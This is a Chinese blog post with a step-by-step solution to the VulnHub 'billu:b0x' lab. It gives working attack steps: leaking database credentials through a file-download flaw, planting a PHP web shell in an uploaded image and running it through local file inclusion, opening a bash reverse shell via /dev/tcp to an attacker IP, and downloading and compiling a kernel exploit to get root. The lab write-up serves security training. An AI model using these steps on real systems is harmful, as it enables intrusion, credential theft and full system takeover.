vulnhub billu:b0x

知识点

SQLi、目录爆破、数据库操作、文件包含漏洞、提权、反弹shell

解题步骤

nmap扫描有80,22端口

nmap -sV -Pn -T 4 192.168.220.132

访问网页提示sqli,使用万能注入admin' or 'a'='a --,返回js弹窗,可能无法注入

御剑扫描目录有test.phpindex.phpc.phpshow.phpin.php

尝试下载文件

发现调用函数file_download($_POST['file']);下载文件,即在test.php页面通过传入file的文件名,可以下载对应的文件。

将其他php文件下载下来,发现c.php文件中包含了mysql的账户密码

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

访问192.168.220.132/phpmyadmin输入账户密码,成功进入

在ica表的auth列中找到后台登录账户和密码

登录index.php,进入http://192.168.220.132/panel.php,发现有show User和Add User,分别对应数据库user表和add.php的样式

添加用户,可以正常上传

右键图片有图片地址,进入查看

在panel.php源码中查看到可能存在本地文件包含漏洞

	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}

在一个图片后面上传cmd马<?php system($_GET['cmd']); ?>并上传

在panel.php点击continue,修改load位置为上传的图片load=/uploaded_images/1.jpg&continue=continue

成功得到回显

POST /panel.php?cmd=cat%20/etc/passwd;ls查看用户

利用bash反弹shell

echo "bash -i >& /dev/tcp/192.168.220.154/4444 0>&1" | bash

需要转为url

burp发送

监听成功

┌──(root㉿kali)-[/home/kali/桌面]
└─# nc -nvlp 4444              
listening on [any] 4444 ...
connect to [192.168.220.154] from (UNKNOWN) [192.168.220.132] 58490
bash: no job control in this shell
www-data@indishell:/var/www$ 

查看系统内核版本,为ubuntu12.04

cat /etc/issue

本地提权漏洞

https://www.exploit-db.com/exploits/37292/

由于菜刀连接失败,使用python开启http服务

python -m http.server 80

在靶机上请求下载

www-data@indishell:/var/www/uploaded_images$ wget http://192.168.220.154/37292.c
</uploaded_images$ wget http://192.168.220.154/37292.c                       
--2022-04-21 10:50:23--  http://192.168.220.154/37292.c
Connecting to 192.168.220.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: `37292.c'

     0K ....                                                  100% 3.50M=0.001s

2022-04-21 10:50:23 (3.50 MB/s) - `37292.c' saved [5119/5119]

下载完成后赋权编译运行

chmod 777 37292.c
gcc 37292.c -o exp
./exp

提权完毕

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
posted @ 2022-04-21 15:31  JICEY  阅读(63)  评论(1编辑  收藏  举报